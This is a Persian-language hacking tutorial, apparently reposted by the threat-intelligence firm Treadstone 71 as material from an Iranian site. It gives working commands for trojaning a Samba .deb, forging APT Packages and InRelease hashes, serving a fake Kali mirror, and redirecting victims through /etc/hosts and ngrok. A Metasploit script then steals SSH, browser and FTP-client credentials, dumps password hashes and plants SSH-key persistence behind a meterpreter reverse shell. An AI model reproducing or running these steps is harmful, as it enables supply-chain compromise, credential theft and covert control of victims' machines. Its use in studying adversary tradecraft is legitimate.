15.echo **TORJAN DEB**;echo %SHA1%;sha1sum samba_4.9.4+dfsg-3_amd64.deb;echo %SHA256%;sha256sum samba_4.9.4+dfsg-3_amd64.deb;echo %MD5%;md5sum samba_4.9.4+dfsg-3_amd64.deb;echo %SIZE%;ls -la samba_4.9.4+dfsg-3_amd64.deb TORJAN DEB
%SHA1%
84156e3c5e393c1269d3e9b840127af146603312 samba_4.9.4+dfsg-3_amd64.deb
%SHA256%
70068b2d1195c9870d47aa0a3d16b1c2356d0a524ad375f9dc2fa4601e1fba89 samba_4.9.4+dfsg-3_amd64.deb
%MD5%
fc778c1fc5385e31dd908ead3f885215 samba_4.9.4+dfsg-3_amd64.deb
%SIZE%
-rw-r–r– 1 root root 1079436 Jan 30 23:55 samba_4.9.4+dfsg-3_amd64.deb

Copy (SHA1-SHA256-MD5-SIZE)

خب حالا ما با استفاده از هش هایی که از فایل Trojan خودمون که در اثر Recompile شدن تغییر هش داده و هش های اون با هش های DEB اصلی که بر روی وبسرورهای APT کالی یکی نیست رو بیایم و هش های فایل جدید خودمون رو به فایل Package ارسال کنیم تا زمانی که عملیات DNS Spoof شکل گرفت APT سیستم قربانی ارتباط که میگیره با فایل Package برای بررسی نسخه جدید برنامه Samba فایل Package ما برنامه DEB Trojan مارو بهش معرفی کنه نه Installer DEB فایل اصلی, نکته فایل جدید دارای Size جدیده پس در فایل Package حتمی باید Size جدید هم لحاظ بشه یک نکته ریز دیگه اینه که این برنامه رو برای این من انتخاب کردم که دارای Service های فعال بدلیل ماهیت کارش داره پس هر زمان که برنامه صدا زده بشه فایل پایلود ما هم دانلود و اجرا میشه نکته دیگه اینه که داداشم این برنامه دارای دسترسی Root هست آره جیگر:)) درضمن حتمی ورژن برنامه رو در فایل Package یکی بالاتر از چیزی که هست بزارید که برای سیستم عامل قربانی APT هشدار بروزرسانی نسخه جدید رو بده

اما یک موضوع دیگه من در خط 16 اطلاعات فایل DEB اصلی رو بیرون کشیدم و در خط 17 اطلاعات فایل TROJAN DEB که Modify کرده بودیم رو بیرون کشیدم واضح که تفاوت هایی که عرض کردم رو دارند با هم Size,MD5,SHA1,SHA256 و ورژن ها که یکی هستند که فایل Trojan ما باید یک نسخه بره بالاتر اکی بریم که این ویرایش هارو انجام بدیم برای اینکار من یک دستور نوشتم که با زدن یک دستور با استفاده از خط فرمان Sed همه این تغییرات رو انجام میده اما یک نکته ای که هست اینه که در فیلد اول شما باید مقداری که در فایل وجود داره رو بزارید و در فیلد دوم مقداری که میخواد جایگزین اون بشه Syntax Sed به این صورته

sed -i -e ‘s/Old Content/New Content/g’ FileName خب با این تفاسیر دستور ما یک چیزی شبیه به این میشه

16.sed -i -e ‘s/Version: 2:4.9.4+dfsg-2/Version: 2:4.9.4+dfsg-3/g’ Packages;sed -i -e ‘s/SHA256: 4c1c8ef271b2de10abe7549111d73f259f06cc0dd791307d208647b4699a4127/SHA256: 7a14cfa2a7e86eb70a6edc9b47b8ca82c959106807ecd6bd7ff417777467d2ec/g’ Packages;sed -i -e ‘s/SHA1: 8bb74018fa5d65bc54cd32c4d4638082f39bf96a/SHA1: eb2d9ef0d9470a3b788fdccfee2ca100a0d058e8/g’ Packages;sed -i -e ‘s/MD5sum: 54a2a8c7dfd60be3a1ef3731b9a0795f/MD5sum: 9dc425a606bff33660f4a44377300810/g’ Packages;sed -i -e ‘s/Size: 1078604/Size: 1079368/g’ Packages خب با زدن این دستور ما ورژن فایل Signature های فایل که در قالب سه هش هست و سایز فایل رو تغییر میدیم,حالا میریم که فایل Package.gz رو هم بسازیم

17.gzip Packages -c > Packages.gz حالا میریم که داشته باشیم همین بلا رو سر Signature خود فایل Package و Package.gz بیاریم:)

 

18.echo **ORIGINAL Pakages**;cat InRelease | grep main/binary-amd64/Packages ORIGINAL Pakages
6133b46b0366171c54067dd9f90cdda6 65572968 main/binary-amd64/Packages
e35a44c98b4de5e20ef8218ef7877c86 17012079 main/binary-amd64/Packages.gz
baa080a6a93df4d166624fb8e3b88c272b51ae01 65572968 main/binary-amd64/Packages
7f66a18da6deab76e6fc46668c7eb5869a1376b6 17012079 main/binary-amd64/Packages.gz
a36ce2630f62147e2890bedd5db9742da449089eab4b19ef147643b42f97915b 65572968 main/binary-amd64/Packages
059e7c9876e12239bb0e4ed4935039fe2d43e590e565ee3eaf48644cdf91a77c 17012079 main/binary-amd64/Packages.gz

خب اینجا میبینیم که در فایل InRealase اصلی که اول شروع متد دانلود کردیم هش ها به این صورت هستند و برای اینکه فایل InRealase خودمون رو مطابق با فایل Package خودمون در بیاریم باید هش های فایل های ساخته شده خودمون رو جایگزین هش های قبلی فایل InRealase کنیم واسه این کار Size و هش های فایل های Package و Package.gz خودمون رو بیرون میکشیم

19.echo **TROJAN Pakages**;md5sum Packages*; sha1sum Packages*; sha256sum Packages*;ls -la Packages* TROJAN Pakages
7b93d917cbd06f9edd65a3c8e4cf0b9c Packages
07c73c77dd7a352b7b5daf146b1fcfea Packages.gz
0b024f35fd88e08f6f0f96ce1353ce1dbdc09b68 Packages
cf2b36c6870858a8213bbc64152d1b7fe5c09a33 Packages.gz
d0124eb92cb4e395b31bcd751389ac8de017cfb25c8acdacec1aa0bee06ebff0 Packages
812b00138fd0b3fc9e679acfe436ec791b93046ff04ad36007b43a201adc4eba Packages.gz
-rw-r–r– 1 root root 2447 Jan 30 21:14 Packages
-rw-r–r– 1 root root 1309 Jan 30 21:26 Packages.gz

خب اینجا هش ها و Size فایل های Package خودمون رو بیرون کشیدیم حالا این مقادیر رو با مقادیری که در فایل InRealase که اول شروع تکنیک دانلود کردیم عوض کنیم

MD5
20.sed -i -e ‘s#6133b46b0366171c54067dd9f90cdda6 65572968 main/binary-amd64/Packages#7b93d917cbd06f9edd65a3c8e4cf0b9c 2447 main/binary-amd64/Packages#g’ InRelease;sed -i -e ‘s#e35a44c98b4de5e20ef8218ef7877c86 17012079 main/binary-amd64/Packages.gz#07c73c77dd7a352b7b5daf146b1fcfea 1309 main/binary-amd64/Packages.gz#g’ InRelease SHA1
21.sed -i -e ‘s#baa080a6a93df4d166624fb8e3b88c272b51ae01 65572968 main/binary-amd64/Packages#0b024f35fd88e08f6f0f96ce1353ce1dbdc09b68 2447 main/binary-amd64/Packages#g’ InRelease;sed -i -e ‘s#7f66a18da6deab76e6fc46668c7eb5869a1376b6 17012079 main/binary-amd64/Packages.gz#cf2b36c6870858a8213bbc64152d1b7fe5c09a33 1309 main/binary-amd64/Packages.gz#g’ InRelease SHA256
22.sed -i -e ‘s#a36ce2630f62147e2890bedd5db9742da449089eab4b19ef147643b42f97915b 65572968 main/binary-amd64/Packages#d0124eb92cb4e395b31bcd751389ac8de017cfb25c8acdacec1aa0bee06ebff0 2447 main/binary-amd64/Packages#g’ InRelease;sed -i -e ‘s#059e7c9876e12239bb0e4ed4935039fe2d43e590e565ee3eaf48644cdf91a77c 17012079 main/binary-amd64/Packages.gz#812b00138fd0b3fc9e679acfe436ec791b93046ff04ad36007b43a201adc4eba 1309 main/binary-amd64/Packages.gz#g’ InRelease خب حالا چک میکنیم که آیا هش های فایل Trojan ما با Size فایل ها عوض شده یا نه

23.echo **Modifying Pakages**;cat InRelease | grep main/binary-amd64/Packages Modifying Pakages
7b93d917cbd06f9edd65a3c8e4cf0b9c 2447 main/binary-amd64/Packages
07c73c77dd7a352b7b5daf146b1fcfea 1309 main/binary-amd64/Packages.gz
0b024f35fd88e08f6f0f96ce1353ce1dbdc09b68 2447 main/binary-amd64/Packages
cf2b36c6870858a8213bbc64152d1b7fe5c09a33 1309 main/binary-amd64/Packages.gz
d0124eb92cb4e395b31bcd751389ac8de017cfb25c8acdacec1aa0bee06ebff0 2447 main/binary-amd64/Packages
812b00138fd0b3fc9e679acfe436ec791b93046ff04ad36007b43a201adc4eba 1309 main/binary-amd64/Packages.gz

خب حالا میبینیم که فایل InRealase ما تغییر کرده و مقادیر جدید ما حاصل شده حالا ما باید برگردیم به خط 3 و ببینیم که دایرکتوری فایل های InRealase و Package و Package.gz و Samba.deb در کجا هست و همون دایرکتوری هارو برای وبسرور Apache2 خودمون ساخته و فایل های جدید رو به پوشه ها ارسال کنیم

 

24.mkdir /var/www/html/pub;chmod +x /var/www/html/pub;mkdir /var/www/html/pub/kali;chmod +x /var/www/html/pub/kali;mkdir /var/www/html/pub/kali/dists;chmod +x /var/www/html/pub/kali/dists;mkdir /var/www/html/pub/kali/dists/kali-rolling;chmod +x /var/www/html/pub/kali/dists/kali-rolling;mkdir /var/www/html/pub/kali/dists/kali-rolling/main;chmod +x /var/www/html/pub/kali/dists/kali-rolling/main;mkdir /var/www/html/pub/kali/dists/kali-rolling/main/binary-amd64;chmod +x /var/www/html/pub/kali/dists/kali-rolling/main/binary-amd64;mkdir /var/www/html/pub/kali/pool;chmod +x /var/www/html/pub/kali/pool;mkdir /var/www/html/pub/kali/pool/main;chmod +x /var/www/html/pub/kali/pool/main;mkdir /var/www/html/pub/kali/pool/main/s;chmod +x /var/www/html/pub/kali/pool/main/s;mkdir /var/www/html/pub/kali/pool/main/s/samba;chmod +x /var/www/html/pub/kali/pool/main/s/samba حالا ما یک لیست از فایل هایی که قرار است به دایرکتوری های ساخته شده انتقال داده بشه میگیریم که مطمئن باشیم فایل ها همگی کامل هستند

25.ls -la backdoor dns.conf Packages InRelease Release.gpg Package Package.gz samba_4.9.4+dfsg-3_amd64.deb

اکی حالا ما باید فایل های ساخته شده رو به دایرکتوری های خودش انتقال بدیم من سعی کردم دستوراتی که کارهای روتین که اگر شما کمی دقت کنید خواهد درک کردش رو بصورت یک دستور در بیارم که اینطوری کاره شما هم آسانتر خواهد شد

26.mv Packages /var/www/html/pub/kali/dists/kali-rolling/main/binary-amd64/;mv Packages.gz /var/www/html/pub/kali/dists/kali-rolling/main/binary-amd64/;mv InRelease /var/www/html/pub/kali/dists/kali-rolling/;mv Release.gpg /var/www/html/pub/kali/dists/kali-rolling/;mv samba_4.9.4+dfsg-3_amd64.deb /var/www/html/pub/kali/pool/main/s/samba/ اکی تا اینجا تمام کارها انجام شده اما من در ادامه میخوام یک اسکریپت Recovery Console بنویسم تا به عنوان Post Exploitation برخی از کارهای مارو اتوماتیک انجام بده یکی از کارهایی که من میخوام انجام بده اینه که آی پی DNS Ngrok رو در فایل Hosts سیستم عامل قربانی تزریق کنه تا DNS مخازن APT کالی لینوکس رو برابر با آی پی Ngrok قرار بده و اگر چنین بشه ما دیگه بدون اینکه در شبکه محلی با قربانی باشیم باز هم میتونیم سیستم عامل قربانی رو تحت تاثیر قرار بدیم و سناریو در شبکه WAN هم جوابگو خواهد بود اما در ادامه من یکسری Post Exploitation که در فریمورک Metasploit موجود بود رو هم قرار دادم تا بتونیم اطاعات مفیدی هم بدست بیاریم

WAN DNS Spoofing
27.ping 837e11a7.ngrok.io PING 837e11a7.ngrok.io (52.14.61.47) 56(84) bytes of data.

Copy (IP-NGROK)
28.nano auto.rc Added

run multi/general/execute COMMAND=”echo ‘52.14.61.47 kali.download’ >> /etc/hosts” run multi/general/execute COMMAND=”echo ‘52.14.61.47 ftp.free.fr’ >> /etc/hosts” run multi/general/execute COMMAND=”echo ‘52.14.61.47 http.kali.org’ >> /etc/hosts” run multi/recon/local_exploit_suggester run multi/gather/remmina_creds run multi/gather/wlan_geolocate run multi/gather/ssh_creds run linux/gather/checkvm run multi/gather/filezilla_client_cred run linux/manage/sshkey_persistence run linux/gather/hashdump run linux/busybox/smb_share_root run firefox/gather/passwords run firefox/gather/cookies Ctrl+x > y > Enter

و اما مرحله پایانی که عملیات لیستینگ هستش رو انجام میدیم بصورت اتوماتیک بر بستر Metasploit

29.msfconsole -q -x “use multi/handler;set PAYLOAD linux/x64/meterpreter/reverse_tcp;set LHOST (NoIP);set LPORT 4141;set ReverseListenerBindAddress (LAN);set ExitOnSession false;set AutoRunScript auto.rc;exploit -j” https://blog.packagecloud.io/eng/2018/02/21/attacks-against-secure-apt-repositories/
https://blog.packagecloud.io/eng/2014/10/28/howto-gpg-sign-verify-deb-packages-apt-repositories/
https://blog.packagecloud.io/eng/2015/10/13/inspect-extract-contents-debian-packages/
https://askubuntu.com/questions/253728/how-to-safely-download-and-gpg-verify-a-debian-source-package
https://wiki.debian.org/SecureApt#How_to_manually_check_for_package.27s_integrity
https://wiki.debian.org/SecureApt#Signed_Release_files
https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/
https://www.debian.org/doc/manuals/debian-faq/ch-pkg_basics.en.html

#Pivoting Network
یکی از تاکتیک های محبوب از خانواده Post Exploitation ها تکنیکی تحت عنوان Pivot هستش که به معنای پرش از کامپیوتری به کامپیوتر دیگر هست البته این تکنیک مختص کامپیوترها نیست و میتونه بر روی دیوایس های دیگه هم پیاده بشه البته اگر پتانسیلش موجود باشه…

شاید برای شما هم این سوال پیش آمده باشه که آیا بعد از هک کردن یک سیستم عامل میتوان به سیستم عامل های دیگری که در شبکه محلی سیستم هک شده ما وجود دارند نفوذ کرد؟ جواب بله هستش,اسم این تکنیک Pivoting هستش یعنی شما میتونید در شبکه ای که سیستم هک شده شما وجود دارد وارد بشید و به نوعی به آنها هم نفوذ کنید,

اما این موضوع دقیقا در حالت عملیاتی خودش چطور پیاده سازی میشه ؟؟؟ برای جواب به این باید قبلش دو نکته رو متوجه بشیم,اولین نکته اینه که ما زمانی که میخواهیم از سیستم اول هک شده ما به سیستم دوم نفوذ کنیم نیاز داریم تا نوع ارتباط خودمون رو کمی تغییر بدیم این به چه معنی هستش ؟ به این معنی که فرض کنید آی پی سیستم هکر که ما باشیم هست 1.1.1.2 و آی پی تارگت هک شده ما هست 1.1.1.3 ما برای اینکه بتونیم به سیستم دیگری که هدف ما هست با آی پی 1.1.1.4 باید نوع ارتباط رو با استفاده از تعاریف Routing بکنیم 1.1.1.2 در مقابل 1.1.1.4 یعنی من با سیستم هدف مستقیم بشم

نکته دوم ما برای اینکه بتونیم در یک شبکه عملیات Pivot رو انجام بدیم میبایست در حالت کلی به سه صورت اینکار رو انجام بدیم اول اینکه ما از قبل یکی از سرویس هایی که همیشه مورد استفاده مثلا سیستم عامل های ویندوز قرار میگیره رو ما اکسپلویت کرده باشیم,با اینکه ما از قبل بدونیم که در اون شبکه همه با استفاده از Authentication ارتباط دارند و ما Authen رو در اختیار داریم خب اینم مورد خوبی حتی اگر ما Authen هارو نداشته باشیم و فقط یک لیست از User و Pass هایی که میدونیم ممکنه استفاده بشه داشته باشیم بازم امیدی به انجام این تکنیک خواهد بود و اما آخرین صورت اینه که ما کلا هیج اطلاعاتی از شبکه قربانی نداریم و Pivot میکنیم که بتونیم سیستم های دیگه رو مورد Pentest قرار بدیم و با Research خودمون بدنبال راهی برای نفوذ باشیم اکی حالا بریم سراغ عملیاتی کردن این تکنیک

PART II – IRANIAN SITE HACK PLUS MONTHS OF INSTRUCTION ON HOW TO HACK TAKEN FROM WESTERN SOURCES

By Treadstone 71

@Treadstone71LLC Cognitive Warfare Training, Intelligence and Counterintelligence Tradecraft, Influence Operations, Cyber Operations, OSINT,OPSEC, Darknet, Deepweb, Clandestine Cyber HUMINT, customized training and analysis, cyber psyops, strategic intelligence, Open-Source Intelligence collection, analytic writing, structured analytic techniques, Target Adversary Research, strategic intelligence analysis, estimative intelligence, forecasting intelligence, warning intelligence, Disinformation detection, Analysis as a Service